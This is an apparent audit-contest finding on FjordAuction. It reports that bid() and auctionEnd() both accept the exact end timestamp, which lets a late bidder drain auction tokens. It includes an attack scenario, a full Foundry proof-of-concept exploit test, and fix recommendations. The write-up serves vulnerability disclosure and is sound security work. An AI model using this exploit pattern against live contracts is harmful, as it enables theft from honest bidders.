DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Inconsistent time checks between `bid()` and `auctionEnd()` leads to theft of auction token

Vulnerability Details

Description

The vulnerability stems from the timing checks in the bid() and auctionEnd() functions. Here are the full code snippets for both functions:
See: FjordAuction.bid and FjordAuction.auctionEnd

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
ended = true;
emit AuctionEnded(totalBids, totalTokens);
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
// Burn the FjordPoints held by the contract
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}

The key issue lies in the timing checks:

  1. The bid() function reverts if block.timestamp exceeds auctionEndTime.

  2. The auctionEnd() function reverts if block.timestamp is less than auctionEndTime.

That means, both functions accept transactions when block.timestamp == auctionEndTime. This creates a situation where auctionEnd() can be called to finalize the auction, but bid() can still be called in the same block.

The problem arises because the multiplier for token distribution is set when auctionEnd() is called, but additional bids can still be placed afterwards. This discrepancy leads to the following issues:

  • The auctionEnd() function calculates the multiplier based on the current totalBids and burns all FjordPoints held by the contract.

  • However, additional bids can still be placed in the same block after auctionEnd() is called.

  • These late bids increase caller's bids without adjusting the multiplier, leading to an unfair distribution of auction tokens.

Example Scenario

  1. The auction has been running with a total of 1,000,000 FjordPoints bid for 100,000 auction tokens.

  2. At auctionEndTime, auctionEnd() is called, setting the multiplier to 0.1 (100,000 * 1e18 / 1,000,000).

  3. In the same block, a malicious actor calls bid() with 1,000,000 FjordPoints.

  4. The malicious actor then immediately calls claimTokens().

  5. The malicious actor receives 100,000 tokens (1,000,000 * 0.1).

  6. When honest bidders try to claim their tokens, there are insufficient tokens left in the contract.

This scenario demonstrates how the vulnerability can be exploited to drastically skew the auction results, potentially leaving honest bidders with significant losses.

Proof-of-Concept

The following test demonstrates the following scenario:

  • Honest bidder bids 100e18 points for 1000e18 auction tokens

  • block.timestamp is at exactly auctionEndTime

  • Malicious actor calls auctionEnd() and bids 100e18 points in the same block

  • Malicious actors immediately claims all auction tokens

  • Honest bidder fails to claim his auction tokens because there is no auction tokens left in the contract

Steps

  1. Create a new file, cheat.auction.t.sol, in 2024-08-fjord/test/unit/ and paste the following test.

  2. Run forge t --match-contract TestCheatAuction -vv

  3. Observe that honest bidder claimTokens() reverts from ERC20: transfer amount exceeds balance

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "forge-std/Test.sol";
import "src/FjordAuction.sol";
import { ERC20BurnableMock } from "../mocks/ERC20BurnableMock.sol";
import { SafeMath } from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
contract TestCheatAuction is Test {
using SafeMath for uint256;
FjordAuction public auction;
ERC20BurnableMock public fjordPoints;
ERC20BurnableMock public auctionToken;
uint256 public biddingTime = 1 weeks;
uint256 public totalTokens = 1000 ether;
function setUp() public {
fjordPoints = new ERC20BurnableMock("FjordPoints", "fjoPTS");
auctionToken = new ERC20BurnableMock("AuctionToken", "AUCT");
auction =
new FjordAuction(address(fjordPoints), address(auctionToken), biddingTime, totalTokens);
deal(address(auctionToken), address(auction), totalTokens);
}
function testBidAtTheEndOfAuction() public {
/**
First bidder bids 100e18
*/
address bidder = makeAddr("bidder");
deal(address(fjordPoints), bidder, 100 ether);
vm.startPrank(bidder);
console.log("@> First bidder bids 100e18");
fjordPoints.approve(address(auction), type(uint).max);
auction.bid(100 ether);
vm.stopPrank();
/**
Skip time to exactly at auction end time
*/
console.log("@> Skip time to exactly at auction end time (block.timestamp == auctionEndTime)");
skip(biddingTime);
/**
Malicious bidder calls auctionEnd() and bids 100e18 and claimTokens() in the same transaction or the same block
*/
address anotherBidder = makeAddr("anotherBidder");
deal(address(fjordPoints), anotherBidder, 100 ether);
vm.startPrank(anotherBidder);
console.log("@> Malicious bidder calls auctionEnd()");
auction.auctionEnd();
console.log("@> Assert that auction ended and multiplier is set, (ended=%s, multiplier=%s)", auction.ended(), auction.multiplier());
assertTrue(auction.ended() && auction.multiplier() > 0);
console.log("@> Malicious bidder can still bid 100e18 in the same block (same amount as first bidder)");
fjordPoints.approve(address(auction), type(uint).max);
auction.bid(100 ether);
console.log("@> (before) Malicious bidder has %s of auction tokens", auctionToken.balanceOf(anotherBidder));
console.log("@> (before) Auction contract has %s of auction tokens", auctionToken.balanceOf(address(auction)));
console.log("@> Malicious bidder immediately claim auction tokens");
auction.claimTokens();
console.log("@> (after) Malicious bidder has %s of auction tokens", auctionToken.balanceOf(anotherBidder));
console.log("@> (after) Auction contract has %s of auction tokens", auctionToken.balanceOf(address(auction)));
vm.stopPrank();
/**
Second bidder fails to claim his auction tokens, and loses all his bids
*/
console.log("@> First bidder tries to claim his auction tokens but fail because all tokens were claimed by malicious bidder");
vm.startPrank(bidder);
auction.claimTokens();
vm.stopPrank();
}
}

Impact

This vulnerability can be exploited to manipulate the auction results:

  1. The last honest bidders might not be able to claim their auction tokens.

  2. In the worst-case scenario, a malicious bidder could claim all auction tokens, leaving honest bidders with no tokens and losing their bids.

Rationale for Severity

Despite the impact of direct fund loss, there exists a constraint where auctionEndTime must be equal to block.timestamp which is not attacker-controlled.

Hence, Medium severity.

Recommendation

To fix this vulnerability, consider the following options:

  1. Modify the timing checks in bid() and auctionEnd() to use strict inequality:

    // In bid()
    if (block.timestamp >= auctionEndTime) {
    revert AuctionAlreadyEnded();
    }
    // In auctionEnd()
    if (block.timestamp <= auctionEndTime) {
    revert AuctionNotYetEnded();
    }
  2. Implement a "grace period" after auctionEndTime during which auctionEnd() can be called, but no new bids are accepted.

By implementing one or more of these recommendations, the contract can ensure fair distribution of auction tokens and prevent exploitation of the current race condition.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.